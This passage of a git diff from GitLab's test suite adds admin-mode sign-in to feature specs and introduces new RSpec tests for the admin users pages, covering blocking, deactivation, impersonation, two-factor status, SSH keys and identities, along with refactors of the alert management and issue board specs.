+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
context 'counting forks', :js do
diff --git a/spec/features/admin/services/admin_activates_prometheus_spec.rb b/spec/features/admin/services/admin_activates_prometheus_spec.rb
index 199eae59afc..a225de365c8 100644
--- a/spec/features/admin/services/admin_activates_prometheus_spec.rb
+++ b/spec/features/admin/services/admin_activates_prometheus_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Admin activates Prometheus', :js do
before do
sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
visit(admin_application_settings_services_path)
diff --git a/spec/features/admin/services/admin_visits_service_templates_spec.rb b/spec/features/admin/services/admin_visits_service_templates_spec.rb
index a37e57304aa..563bca8b32f 100644
--- a/spec/features/admin/services/admin_visits_service_templates_spec.rb
+++ b/spec/features/admin/services/admin_visits_service_templates_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'Admin visits service templates' do
before do
sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
visit(admin_application_settings_services_path)
end
diff --git a/spec/features/admin/users/user_spec.rb b/spec/features/admin/users/user_spec.rb
new file mode 100644
index 00000000000..e7dd50ed514
--- /dev/null
+++ b/spec/features/admin/users/user_spec.rb
@@ -0,0 +1,372 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Admin::Users::User' do
+ let_it_be(:user) { create(:omniauth_user, provider: 'twitter', extern_uid: '123456') }
+ let_it_be(:current_user) { create(:admin, last_activity_on: 5.days.ago) }
+
+ before do
+ sign_in(current_user)
+ gitlab_enable_admin_mode_sign_in(current_user)
+ stub_feature_flags(vue_admin_users: false)
+ end
+
+ describe 'GET /admin/users/:id' do
+ it 'has user info', :aggregate_failures do
+ visit admin_users_path
+ click_link user.name
+
+ expect(page).to have_content(user.email)
+ expect(page).to have_content(user.name)
+ expect(page).to have_content("ID: #{user.id}")
+ expect(page).to have_content("Namespace ID: #{user.namespace_id}")
+ expect(page).to have_button('Deactivate user')
+ expect(page).to have_button('Block user')
+ expect(page).to have_button('Delete user')
+ expect(page).to have_button('Delete user and contributions')
+ end
+
+ context 'user pending approval' do
+ it 'shows user info', :aggregate_failures do
+ user = create(:user, :blocked_pending_approval)
+
+ visit admin_users_path
+ click_link 'Pending approval'
+ click_link user.name
+
+ expect(page).to have_content(user.name)
+ expect(page).to have_content('Pending approval')
+ expect(page).to have_link('Approve user')
+ expect(page).to have_link('Reject request')
+ end
+ end
+
+ context 'when blocking/unblocking the user' do
+ it 'shows confirmation and allows blocking and unblocking', :js do
+ visit admin_user_path(user)
+
+ find('button', text: 'Block user').click
+
+ wait_for_requests
+
+ expect(page).to have_content('Block user')
+ expect(page).to have_content('You can always unblock their account, their data will remain intact.')
+
+ find('.modal-footer button', text: 'Block').click
+
+ wait_for_requests
+
+ expect(page).to have_content('Successfully blocked')
+ expect(page).to have_content('This user is blocked')
+
+ find('button', text: 'Unblock user').click
+
+ wait_for_requests
+
+ expect(page).to have_content('Unblock user')
+ expect(page).to have_content('You can always block their account again if needed.')
+
+ find('.modal-footer button', text: 'Unblock').click
+
+ wait_for_requests
+
+ expect(page).to have_content('Successfully unblocked')
+ expect(page).to have_content('Block this user')
+ end
+ end
+
+ context 'when deactivating/re-activating the user' do
+ it 'shows confirmation and allows deactivating/re-activating', :js do
+ visit admin_user_path(user)
+
+ find('button', text: 'Deactivate user').click
+
+ wait_for_requests
+
+ expect(page).to have_content('Deactivate user')
+ expect(page).to have_content('You can always re-activate their account, their data will remain intact.')
+
+ find('.modal-footer button', text: 'Deactivate').click
+
+ wait_for_requests
+
+ expect(page).to have_content('Successfully deactivated')
+ expect(page).to have_content('Reactivate this user')
+
+ find('button', text: 'Activate user').click
+
+ wait_for_requests
+
+ expect(page).to have_content('Activate user')
+ expect(page).to have_content('You can always deactivate their account again if needed.')
+
+ find('.modal-footer button', text: 'Activate').click
+
+ wait_for_requests
+
+ expect(page).to have_content('Successfully activated')
+ expect(page).to have_content('Deactivate this user')
+ end
+ end
+
+ describe 'Impersonation' do
+ let_it_be(:another_user) { create(:user) }
+
+ context 'before impersonating' do
+ subject { visit admin_user_path(user_to_visit) }
+
+ let(:user_to_visit) { another_user }
+
+ context 'for other users' do
+ it 'shows impersonate button for other users' do
+ subject
+
+ expect(page).to have_content('Impersonate')
+ end
+ end
+
+ context 'for admin itself' do
+ let(:user_to_visit) { current_user }
+
+ it 'does not show impersonate button for admin itself' do
+ subject
+
+ expect(page).not_to have_content('Impersonate')
+ end
+ end
+
+ context 'for blocked user' do
+ before do
+ another_user.block
+ end
+
+ it 'does not show impersonate button for blocked user' do
+ subject
+
+ expect(page).not_to have_content('Impersonate')
+ end
+ end
+
+ context 'when impersonation is disabled' do
+ before do
+ stub_config_setting(impersonation_enabled: false)
+ end
+
+ it 'does not show impersonate button' do
+ subject
+
+ expect(page).not_to have_content('Impersonate')
+ end
+ end
+ end
+
+ context 'when impersonating' do
+ subject { click_link 'Impersonate' }
+
+ before do
+ visit admin_user_path(another_user)
+ end
+
+ it 'logs in as the user when impersonate is clicked' do
+ subject
+
+ expect(page.find(:css, '.header-user .profile-link')['data-user']).to eql(another_user.username)
+ end
+
+ it 'sees impersonation log out icon' do
+ subject
+
+ icon = first('[data-testid="incognito-icon"]')
+ expect(icon).not_to be nil
+ end
+
+ context 'a user with an expired password' do
+ before do
+ another_user.update!(password_expires_at: Time.now - 5.minutes)
+ end
+
+ it 'does not redirect to password change page' do
+ subject
+
+ expect(current_path).to eq('/')
+ end
+ end
+ end
+
+ context 'ending impersonation' do
+ subject { find(:css, 'li.impersonation a').click }
+
+ before do
+ visit admin_user_path(another_user)
+ click_link 'Impersonate'
+ end
+
+ it 'logs out of impersonated user back to original user' do
+ subject
+
+ expect(page.find(:css, '.header-user .profile-link')['data-user']).to eq(current_user.username)
+ end
+
+ it 'is redirected back to the impersonated users page in the admin after stopping' do
+ subject
+
+ expect(current_path).to eq("/admin/users/#{another_user.username}")
+ end
+
+ context 'a user with an expired password' do
+ before do
+ another_user.update!(password_expires_at: Time.now - 5.minutes)
+ end
+
+ it 'is redirected back to the impersonated users page in the admin after stopping' do
+ subject
+
+ expect(current_path).to eq("/admin/users/#{another_user.username}")
+ end
+ end
+ end
+ end
+
+ describe 'Two-factor Authentication status' do
+ it 'shows when enabled' do
+ user.update!(otp_required_for_login: true)
+
+ visit admin_user_path(user)
+
+ expect_two_factor_status('Enabled')
+ end
+
+ it 'shows when disabled' do
+ visit admin_user_path(user)
+
+ expect_two_factor_status('Disabled')
+ end
+
+ def expect_two_factor_status(status)
+ page.within('.two-factor-status') do
+ expect(page).to have_content(status)
+ end
+ end
+ end
+
+ describe 'Email verification status' do
+ let!(:secondary_email) do
+ create :email, email: 'secondary@example.com', user: user
+ end
+
+ it 'displays the correct status for an unverified email address', :aggregate_failures do
+ user.update!(confirmed_at: nil, unconfirmed_email: user.email)
+ visit admin_user_path(user)
+
+ expect(page).to have_content("#{user.email} Unverified")
+ expect(page).to have_content("#{secondary_email.email} Unverified")
+ end
+
+ it 'displays the correct status for a verified email address' do
+ visit admin_user_path(user)
+ expect(page).to have_content("#{user.email} Verified")
+
+ secondary_email.confirm
+ expect(secondary_email.confirmed?).to be_truthy
+
+ visit admin_user_path(user)
+ expect(page).to have_content("#{secondary_email.email} Verified")
+ end
+ end
+ end
+
+ describe 'show user attributes' do
+ it 'has expected attributes', :aggregate_failures do
+ visit admin_users_path
+
+ click_link user.name
+
+ expect(page).to have_content 'Account'
+ expect(page).to have_content 'Personal projects limit'
+ end
+ end
+
+ describe 'remove users secondary email', :js do
+ let!(:secondary_email) do
+ create :email, email: 'secondary@example.com', user: user
+ end
+
+ it do
+ visit admin_user_path(user.username)
+
+ expect(page).to have_content("Secondary email: #{secondary_email.email}")
+
+ accept_confirm { find("#remove_email_#{secondary_email.id}").click }
+
+ expect(page).not_to have_content(secondary_email.email)
+ end
+ end
+
+ describe 'show user keys', :js do
+ it do
+ key1 = create(:key, user: user, title: 'ssh-rsa Key1', key: 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4FIEBXGi4bPU8kzxMefudPIJ08/gNprdNTaO9BR/ndy3+58s2HCTw2xCHcsuBmq+TsAqgEidVq4skpqoTMB+Uot5Uzp9z4764rc48dZiI661izoREoKnuRQSsRqUTHg5wrLzwxlQbl1MVfRWQpqiz/5KjBC7yLEb9AbusjnWBk8wvC1bQPQ1uLAauEA7d836tgaIsym9BrLsMVnR4P1boWD3Xp1B1T/ImJwAGHvRmP/ycIqmKdSpMdJXwxcb40efWVj0Ibbe7ii9eeoLdHACqevUZi6fwfbymdow+FeqlkPoHyGg3Cu4vD/D8+8cRc7mE/zGCWcQ15Var83Tczour Key1')
+ key2 = create(:key, user: user, title: 'ssh-rsa Key2', key: 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQSTWXhJAX/He+nG78MiRRRn7m0Pb0XbcgTxE0etArgoFoh9WtvDf36HG6tOSg/0UUNcp0dICsNAmhBKdncp6cIyPaXJTURPRAGvhI0/VDk4bi27bRnccGbJ/hDaUxZMLhhrzY0r22mjVf8PF6dvv5QUIQVm1/LeaWYsHHvLgiIjwrXirUZPnFrZw6VLREoBKG8uWvfSXw1L5eapmstqfsME8099oi+vWLR8MgEysZQmD28M73fgW4zek6LDQzKQyJx9nB+hJkKUDvcuziZjGmRFlNgSA2mguERwL1OXonD8WYUrBDGKroIvBT39zS5d9tQDnidEJZ9Y8gv5ViYP7x Key2')
+
+ visit admin_users_path
+
+ click_link user.name
+ click_link 'SSH keys'
+
+ expect(page).to have_content(key1.title)
+ expect(page).to have_content(key2.title)
+
+ click_link key2.title
+
+ expect(page).to have_content(key2.title)
+ expect(page).to have_content(key2.key)
+
+ click_button 'Delete'
+
+ page.within('.modal') do
+ page.click_button('Delete')
+ end
+
+ expect(page).not_to have_content(key2.title)
+ end
+ end
+
+ describe 'show user identities' do
+ it 'shows user identities', :aggregate_failures do
+ visit admin_user_identities_path(user)
+
+ expect(page).to have_content(user.name)
+ expect(page).to have_content('twitter')
+ end
+ end
+
+ describe 'update user identities' do
+ before do
+ allow(Gitlab::Auth::OAuth::Provider).to receive(:providers).and_return([:twitter, :twitter_updated])
+ end
+
+ it 'modifies twitter identity', :aggregate_failures do
+ visit admin_user_identities_path(user)
+
+ find('.table').find(:link, 'Edit').click
+ fill_in 'identity_extern_uid', with: '654321'
+ select 'twitter_updated', from: 'identity_provider'
+ click_button 'Save changes'
+
+ expect(page).to have_content(user.name)
+ expect(page).to have_content('twitter_updated')
+ expect(page).to have_content('654321')
+ end
+ end
+
+ describe 'remove user with identities' do
+ it 'removes user with twitter identity', :aggregate_failures do
+ visit admin_user_identities_path(user)
+
+ click_link 'Delete'
+
+ expect(page).to have_content(user.name)
+ expect(page).not_to have_content('twitter')
+ end
+ end
+end
diff --git a/spec/features/admin/users/users_spec.rb b/spec/features/admin/users/users_spec.rb
new file mode 100644
index 00000000000..9482b4f8603
--- /dev/null
+++ b/spec/features/admin/users/users_spec.rb
@@ -0,0 +1,555 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Admin::Users' do
+ include Spec::Support::Helpers::Features::ResponsiveTableHelpers
+
+ let_it_be(:user, reload: true) { create(:omniauth_user, provider: 'twitter', extern_uid: '123456') }
+ let_it_be(:current_user) { create(:admin, last_activity_on: 5.days.ago) }
+
+ before do
+ sign_in(current_user)
+ gitlab_enable_admin_mode_sign_in(current_user)
+ end
+
+ describe 'GET /admin/users' do
+ before do
+ stub_feature_flags(vue_admin_users: false)
+ visit admin_users_path
+ end
+
+ it "is ok" do
+ expect(current_path).to eq(admin_users_path)
+ end
+
+ it "has users list" do
+ expect(page).to have_content(current_user.email)
+ expect(page).to have_content(current_user.name)
+ expect(page).to have_content(current_user.created_at.strftime('%e %b, %Y'))
+ expect(page).to have_content(current_user.last_activity_on.strftime('%e %b, %Y'))
+ expect(page).to have_content(user.email)
+ expect(page).to have_content(user.name)
+ expect(page).to have_content('Projects')
+ expect(page).to have_button('Block')
+ expect(page).to have_button('Deactivate')
+ expect(page).to have_button('Delete user')
+ expect(page).to have_button('Delete user and contributions')
+ end
+
+ describe 'view extra user information' do
+ it 'shows the user popover on hover', :js, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/11290' do
+ expect(page).not_to have_selector('#__BV_popover_1__')
+
+ first_user_link = page.first('.js-user-link')
+ first_user_link.hover
+
+ expect(page).to have_selector('#__BV_popover_1__')
+ end
+ end
+
+ context 'user project count' do
+ before do
+ project = create(:project)
+ project.add_maintainer(current_user)
+ end
+
+ it 'displays count of users projects' do
+ visit admin_users_path
+
+ expect(page.find("[data-testid='user-project-count-#{current_user.id}']").text).to eq("1")
+ end
+ end
+
+ describe 'tabs' do
+ it 'has multiple tabs to filter users' do
+ expect(page).to have_link('Active', href: admin_users_path)
+ expect(page).to have_link('Admins', href: admin_users_path(filter: 'admins'))
+ expect(page).to have_link('2FA Enabled', href: admin_users_path(filter: 'two_factor_enabled'))
+ expect(page).to have_link('2FA Disabled', href: admin_users_path(filter: 'two_factor_disabled'))
+ expect(page).to have_link('External', href: admin_users_path(filter: 'external'))
+ expect(page).to have_link('Blocked', href: admin_users_path(filter: 'blocked'))
+ expect(page).to have_link('Deactivated', href: admin_users_path(filter: 'deactivated'))
+ expect(page).to have_link('Without projects', href: admin_users_path(filter: 'wop'))
+ end
+
+ context '`Pending approval` tab' do
+ before do
+ visit admin_users_path
+ end
+
+ it 'shows the `Pending approval` tab' do
+ expect(page).to have_link('Pending approval', href: admin_users_path(filter: 'blocked_pending_approval'))
+ end
+ end
+ end
+
+ describe 'search and sort' do
+ before_all do
+ create(:user, name: 'Foo Bar', last_activity_on: 3.days.ago)
+ create(:user, name: 'Foo Baz', last_activity_on: 2.days.ago)
+ create(:user, name: 'Dmitriy')
+ end
+
+ it 'searches users by name' do
+ visit admin_users_path(search_query: 'Foo')
+
+ expect(page).to have_content('Foo Bar')
+ expect(page).to have_content('Foo Baz')
+ expect(page).not_to have_content('Dmitriy')
+ end
+
+ it 'sorts users by name' do
+ visit admin_users_path
+
+ sort_by('Name')
+
+ expect(first_row.text).to include('Dmitriy')
+ expect(second_row.text).to include('Foo Bar')
+ end
+
+ it 'sorts search results only' do
+ visit admin_users_path(search_query: 'Foo')
+
+ sort_by('Name')
+
+ expect(page).not_to have_content('Dmitriy')
+ expect(first_row.text).to include('Foo Bar')
+ expect(second_row.text).to include('Foo Baz')
+ end
+
+ it 'searches with respect of sorting' do
+ visit admin_users_path(sort: 'Name')
+
+ fill_in :search_query, with: 'Foo'
+ click_button('Search users')
+
+ expect(first_row.text).to include('Foo Bar')
+ expect(second_row.text).to include('Foo Baz')
+ end
+
+ it 'sorts users by recent last activity' do
+ visit admin_users_path(search_query: 'Foo')
+
+ sort_by('Recent last activity')
+
+ expect(first_row.text).to include('Foo Baz')
+ expect(second_row.text).to include('Foo Bar')
+ end
+
+ it 'sorts users by oldest last activity' do
+ visit admin_users_path(search_query: 'Foo')
+
+ sort_by('Oldest last activity')
+
+ expect(first_row.text).to include('Foo Bar')
+ expect(second_row.text).to include('Foo Baz')
+ end
+ end
+
+ describe 'Two-factor Authentication filters' do
+ it 'counts users who have enabled 2FA' do
+ create(:user, :two_factor)
+
+ visit admin_users_path
+
+ page.within('.filter-two-factor-enabled small') do
+ expect(page).to have_content('1')
+ end
+ end
+
+ it 'filters by users who have enabled 2FA' do
+ user = create(:user, :two_factor)
+
+ visit admin_users_path
+ click_link '2FA Enabled'
+
+ expect(page).to have_content(user.email)
+ end
+
+ it 'counts users who have not enabled 2FA' do
+ visit admin_users_path
+
+ page.within('.filter-two-factor-disabled small') do
+ expect(page).to have_content('2') # Including admin
+ end
+ end
+
+ it 'filters by users who have not enabled 2FA' do
+ visit admin_users_path
+ click_link '2FA Disabled'
+
+ expect(page).to have_content(user.email)
+ end
+ end
+
+ describe 'Pending approval filter' do
+ it 'counts users who are pending approval' do
+ create_list(:user, 2, :blocked_pending_approval)
+
+ visit admin_users_path
+
+ page.within('.filter-blocked-pending-approval small') do
+ expect(page).to have_content('2')
+ end
+ end
+
+ it 'filters by users who are pending approval' do
+ user = create(:user, :blocked_pending_approval)
+
+ visit admin_users_path
+ click_link 'Pending approval'
+
+ expect(page).to have_content(user.email)
+ end
+ end
+
+ context 'when blocking/unblocking a user' do
+ it 'shows confirmation and allows blocking and unblocking', :js do
+ expect(page).to have_content(user.email)
+
+ click_action_in_user_dropdown(user.id, 'Block')
+
+ wait_for_requests
+
+ expect(page).to have_content('Block user')
+ expect(page).to have_content('Blocking user has the following effects')
+ expect(page).to have_content('User will not be able to login')
+ expect(page).to have_content('Owned groups will be left')
+
+ find('.modal-footer button', text: 'Block').click
+
+ wait_for_requests
+
+ expect(page).to have_content('Successfully blocked')
+ expect(page).not_to have_content(user.email)
+
+ click_link 'Blocked'
+
+ wait_for_requests
+
+ expect(page).to have_content(user.email)
+
+ click_action_in_user_dropdown(user.id, 'Unblock')
+
+ expect(page).to have_content('Unblock user')
+ expect(page).to have_content('You can always block their account again if needed.')
+
+ find('.modal-footer button', text: 'Unblock').click
+
+ wait_for_requests
+
+ expect(page).to have_content('Successfully unblocked')
+ expect(page).not_to have_content(user.email)
+ end
+ end
+
+ context 'when deactivating/re-activating a user' do
+ it 'shows confirmation and allows deactivating and re-activating', :js do
+ expect(page).to have_content(user.email)
+
+ click_action_in_user_dropdown(user.id, 'Deactivate')
+
+ expect(page).to have_content('Deactivate user')
+ expect(page).to have_content('Deactivating a user has the following effects')
+ expect(page).to have_content('The user will be logged out')
+ expect(page).to have_content('Personal projects, group and user history will be left intact')
+
+ find('.modal-footer button', text: 'Deactivate').click
+
+ wait_for_requests
+
+ expect(page).to have_content('Successfully deactivated')
+ expect(page).not_to have_content(user.email)
+
+ click_link 'Deactivated'
+
+ wait_for_requests
+
+ expect(page).to have_content(user.email)
+
+ click_action_in_user_dropdown(user.id, 'Activate')
+
+ expect(page).to have_content('Activate user')
+ expect(page).to have_content('You can always deactivate their account again if needed.')
+
+ find('.modal-footer button', text: 'Activate').click
+
+ wait_for_requests
+
+ expect(page).to have_content('Successfully activated')
+ expect(page).not_to have_content(user.email)
+ end
+ end
+
+ def click_action_in_user_dropdown(user_id, action)
+ find("[data-testid='user-action-button-#{user_id}']").click
+
+ within find("[data-testid='user-action-dropdown-#{user_id}']") do
+ find('li button', text: action).click
+ end
+
+ wait_for_requests
+ end
+ end
+
+ describe 'GET /admin/users/new' do
+ let(:user_username) { 'bang' }
+
+ before do
+ visit new_admin_user_path
+ fill_in 'user_name', with: 'Big Bang'
+ fill_in 'user_username', with: user_username
+ fill_in 'user_email', with: 'bigbang@mail.com'
+ end
+
+ it 'creates new user' do
+ expect { click_button 'Create user' }.to change {User.count}.by(1)
+ end
+
+ it 'applies defaults to user' do
+ click_button 'Create user'
+ user = User.find_by(username: 'bang')
+ expect(user.projects_limit)
+ .to eq(Gitlab.config.gitlab.default_projects_limit)
+ expect(user.can_create_group)
+ .to eq(Gitlab.config.gitlab.default_can_create_group)
+ end
+
+ it 'creates user with valid data' do
+ click_button 'Create user'
+ user = User.find_by(username: 'bang')
+ expect(user.name).to eq('Big Bang')
+ expect(user.email).to eq('bigbang@mail.com')
+ end
+
+ it 'calls send mail' do
+ expect_next_instance_of(NotificationService) do |instance|
+ expect(instance).to receive(:new_user)
+ end
+
+ click_button 'Create user'
+ end
+
+ it 'sends valid email to user with email & password' do
+ perform_enqueued_jobs do
+ click_button 'Create user'
+ end
+
+ user = User.find_by(username: 'bang')
+ email = ActionMailer::Base.deliveries.last
+ expect(email.subject).to have_content('Account was created')
+ expect(email.text_part.body).to have_content(user.email)
+ expect(email.text_part.body).to have_content('password')
+ end
+
+ context 'username contains spaces' do
+ let(:user_username) { 'Bing bang' }
+
+ it "doesn't create the user and shows an error message" do
+ expect { click_button 'Create user' }.to change {User.count}.by(0)
+
+ expect(page).to have_content('The form contains the following error')
+ expect(page).to have_content('Username can contain only letters, digits')
+ end
+ end
+
+ context 'with new users set to external enabled' do
+ context 'with regex to match internal user email address set', :js do
+ before do
+ stub_application_setting(user_default_external: true)
+ stub_application_setting(user_default_internal_regex: '\.internal@')
+
+ visit new_admin_user_path
+ end
+
+ def expects_external_to_be_checked
+ expect(find('#user_external')).to be_checked
+ end
+
+ def expects_external_to_be_unchecked
+ expect(find('#user_external')).not_to be_checked
+ end
+
+ def expects_warning_to_be_hidden
+ expect(find('#warning_external_automatically_set', visible: :all)[:class]).to include 'hidden'
+ end
+
+ def expects_warning_to_be_shown
+ expect(find('#warning_external_automatically_set')[:class]).not_to include 'hidden'
+ end
+
+ it 'automatically unchecks external for matching email' do
+ expects_external_to_be_checked
+ expects_warning_to_be_hidden
+
+ fill_in 'user_email', with: 'test.internal@domain.ch'
+
+ expects_external_to_be_unchecked
+ expects_warning_to_be_shown
+
+ fill_in 'user_email', with: 'test@domain.ch'
+
+ expects_external_to_be_checked
+ expects_warning_to_be_hidden
+
+ uncheck 'user_external'
+
+ expects_warning_to_be_hidden
+ end
+
+ it 'creates an internal user' do
+ user_name = 'tester1'
+ fill_in 'user_email', with: 'test.internal@domain.ch'
+ fill_in 'user_name', with: 'tester1 name'
+ fill_in 'user_username', with: user_name
+
+ expects_external_to_be_unchecked
+ expects_warning_to_be_shown
+
+ click_button 'Create user'
+
+ new_user = User.find_by(username: user_name)
+
+ expect(new_user.external).to be_falsy
+ end
+ end
+ end
+ end
+
+ describe 'GET /admin/users/:id/edit' do
+ before do
+ stub_feature_flags(vue_admin_users: false)
+ visit admin_users_path
+ click_link "edit_user_#{user.id}"
+ end
+
+ it 'has user edit page' do
+ expect(page).to have_content('Name')
+ expect(page).to have_content('Password')
+ end
+
+ describe 'Update user' do
+ before do
+ fill_in 'user_name', with: 'Big Bang'
+ fill_in 'user_email', with: 'bigbang@mail.com'
+ fill_in 'user_password', with: 'AValidPassword1'
+ fill_in 'user_password_confirmation', with: 'AValidPassword1'
+ choose 'user_access_level_admin'
+ click_button 'Save changes'
+ end
+
+ it 'shows page with new data' do
+ expect(page).to have_content('bigbang@mail.com')
+ expect(page).to have_content('Big Bang')
+ end
+
+ it 'changes user entry' do
+ user.reload
+ expect(user.name).to eq('Big Bang')
+ expect(user.admin?).to be_truthy
+ expect(user.password_expires_at).to be <= Time.now
+ end
+ end
+
+ describe 'update username to non ascii char' do
+ it do
+ fill_in 'user_username', with: '\u3042\u3044'
+ click_button('Save')
+
+ page.within '#error_explanation' do
+ expect(page).to have_content('Username')
+ end
+
+ expect(page).to have_selector(%(form[action="/admin/users/#{user.username}"]))
+ end
+ end
+ end
+
+ describe 'GET /admin/users/:id/projects' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
+
+ before do
+ group.add_developer(user)
+
+ visit projects_admin_user_path(user)
+ end
+
+ it 'lists group projects' do
+ within(:css, '.gl-mb-3 + .card') do
+ expect(page).to have_content 'Group projects'
+ expect(page).to have_link group.name, href: admin_group_path(group)
+ end
+ end
+
+ it 'allows navigation to the group details' do
+ within(:css, '.gl-mb-3 + .card') do
+ click_link group.name
+ end
+ within(:css, 'h3.page-title') do
+ expect(page).to have_content "Group: #{group.name}"
+ end
+ expect(page).to have_content project.name
+ end
+
+ it 'shows the group access level' do
+ within(:css, '.gl-mb-3 + .card') do
+ expect(page).to have_content 'Developer'
+ end
+ end
+
+ it 'allows group membership to be revoked', :js do
+ page.within(first('.group_member')) do
+ accept_confirm { find('.btn[data-testid="remove-user"]').click }
+ end
+ wait_for_requests
+
+ expect(page).not_to have_selector('.group_member')
+ end
+ end
+
+ describe 'show breadcrumbs' do
+ it do
+ visit admin_user_path(user)
+
+ check_breadcrumb(user.name)
+
+ visit projects_admin_user_path(user)
+
+ check_breadcrumb(user.name)
+
+ visit keys_admin_user_path(user)
+
+ check_breadcrumb(user.name)
+
+ visit admin_user_impersonation_tokens_path(user)
+
+ check_breadcrumb(user.name)
+
+ visit admin_user_identities_path(user)
+
+ check_breadcrumb(user.name)
+
+ visit new_admin_user_identity_path(user)
+
+ check_breadcrumb('New Identity')
+
+ visit admin_user_identities_path(user)
+
+ find('.table').find(:link, 'Edit').click
+
+ check_breadcrumb('Edit Identity')
+ end
+ end
+
+ def check_breadcrumb(content)
+ expect(find('.breadcrumbs-sub-title')).to have_content(content)
+ end
+
+ def sort_by(text)
+ page.within('.user-sort-dropdown') do
+ click_link text
+ end
+ end
+end
diff --git a/spec/features/alert_management/alert_management_list_spec.rb b/spec/features/alert_management/alert_management_list_spec.rb
index 37658f8c545..44ed2f3d60c 100644
--- a/spec/features/alert_management/alert_management_list_spec.rb
+++ b/spec/features/alert_management/alert_management_list_spec.rb
@@ -5,54 +5,54 @@ require 'spec_helper'
RSpec.describe 'Alert Management index', :js do
let_it_be(:project) { create(:project) }
let_it_be(:developer) { create(:user) }
- let_it_be(:alert) { create(:alert_management_alert, project: project, status: 'triggered') }
before_all do
project.add_developer(developer)
end
- before do
- sign_in(developer)
+ context 'when a developer displays the alert list' do
+ before do
+ sign_in(developer)
- visit project_alert_management_index_path(project)
- wait_for_requests
- end
-
- context 'when a developer displays the alert list and alert integrations are not enabled' do
- it 'shows the alert page title' do
- expect(page).to have_content('Alerts')
+ visit project_alert_management_index_path(project)
+ wait_for_requests
end
- it 'shows the empty state by default' do
+ it 'shows the alert page title and empty state without filtered search or alert table' do
+ expect(page).to have_content('Alerts')
expect(page).to have_content('Surface alerts in GitLab')
- end
-
- it 'does not show the filtered search' do
+ expect(page).not_to have_selector('.gl-table')
page.within('.layout-page') do
expect(page).not_to have_css('[data-testid="search-icon"]')
end
end
- it 'does not show the alert table' do
- expect(page).not_to have_selector('.gl-table')
+ shared_examples 'alert page with title, filtered search, and table' do
+ it 'renders correctly' do
+ expect(page).to have_content('Alerts')
+ expect(page).to have_selector('.gl-table')
+ page.within('.layout-page') do
+ expect(page).to have_css('[data-testid="search-icon"]')
+ end
+ end
end
- end
- context 'when a developer displays the alert list and an HTTP integration is enabled' do
- let_it_be(:integration) { create(:alert_management_http_integration, project: project) }
+ context 'when alerts have already been created' do
+ let_it_be(:alert) { create(:alert_management_alert, project: project) }
- it 'shows the alert page title' do
- expect(page).to have_content('Alerts')
+ it_behaves_like 'alert page with title, filtered search, and table'
end
- it 'shows the filtered search' do
- page.within('.layout-page') do
- expect(page).to have_css('[data-testid="search-icon"]')
- end
+ context 'when an HTTP integration is enabled' do
+ let_it_be(:integration) { create(:alert_management_http_integration, project: project) }
+
+ it_behaves_like 'alert page with title, filtered search, and table'
end
- it 'shows the alert table' do
- expect(page).to have_selector('.gl-table')
+ context 'when the prometheus integration is enabled' do
+ let_it_be(:integration) { create(:prometheus_service, project: project) }
+
+ it_behaves_like 'alert page with title, filtered search, and table'
end
end
end
diff --git a/spec/features/alerts_settings/user_views_alerts_settings_spec.rb b/spec/features/alerts_settings/user_views_alerts_settings_spec.rb
index 0ded13ae607..698a36d3f76 100644
--- a/spec/features/alerts_settings/user_views_alerts_settings_spec.rb
+++ b/spec/features/alerts_settings/user_views_alerts_settings_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe 'Alert integrations settings form', :js do
end
describe 'when viewing alert integrations as a maintainer' do
- context 'with feature flag enabled' do
+ context 'with the default page permissions' do
before do
visit project_settings_operations_path(project, anchor: 'js-alert-management-settings')
wait_for_requests
@@ -33,19 +33,6 @@ RSpec.describe 'Alert integrations settings form', :js do
expect(page).to have_content('1. Select integration type')
end
end
-
- context 'with feature flag disabled' do
- before do
- stub_feature_flags(http_integrations_list: false)
-
- visit project_settings_operations_path(project, anchor: 'js-alert-management-settings')
- wait_for_requests
- end
-
- it 'shows the old alerts setting form' do
- expect(page).to have_content('Webhook URL')
- end
- end
end
describe 'when viewing alert integrations as a developer' do
diff --git a/spec/features/boards/add_issues_modal_spec.rb b/spec/features/boards/add_issues_modal_spec.rb
index f941adca233..8d0fa3e023b 100644
--- a/spec/features/boards/add_issues_modal_spec.rb
+++ b/spec/features/boards/add_issues_modal_spec.rb
@@ -37,6 +37,10 @@ RSpec.describe 'Issue Boards add issue modal', :js do
end
context 'modal interaction' do
+ before do
+ stub_feature_flags(add_issues_button: true)
+ end
+
it 'opens modal' do
click_button('Add issues')
@@ -72,6 +76,7 @@ RSpec.describe 'Issue Boards add issue modal', :js do
context 'issues list' do
before do
+ stub_feature_flags(add_issues_button: true)
click_button('Add issues')
wait_for_requests
diff --git a/spec/features/boards/boards_spec.rb b/spec/features/boards/boards_spec.rb
index 06ec4e05828..b3cc2eb418d 100644
--- a/spec/features/boards/boards_spec.rb
+++ b/spec/features/boards/boards_spec.rb
@@ -27,11 +27,11 @@ RSpec.describe 'Issue Boards', :js do
end
it 'creates default lists' do
- lists = ['Open', 'To Do', 'Doing', 'Closed']
+ lists = %w[Open Closed]
wait_for_requests
- expect(page).to have_selector('.board', count: 4)
+ expect(page).to have_selector('.board', count: 2)
page.all('.board').each_with_index do |list, i|
expect(list.find('.board-title')).to have_content(lists[i])
diff --git a/spec/features/boards/keyboard_shortcut_spec.rb b/spec/features/boards/keyboard_shortcut_spec.rb
index f51b4d21e3b..cefb486349d 100644
--- a/spec/features/boards/keyboard_shortcut_spec.rb
+++ b/spec/features/boards/keyboard_shortcut_spec.rb
@@ -9,7 +9,9 @@ RSpec.describe 'Issue Boards shortcut', :js do
before do
create(:board, project: project)
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
visit project_path(project)
end
@@ -26,7 +28,9 @@ RSpec.describe 'Issue Boards shortcut', :js do
let(:project) { create(:project, :issues_disabled) }
before do
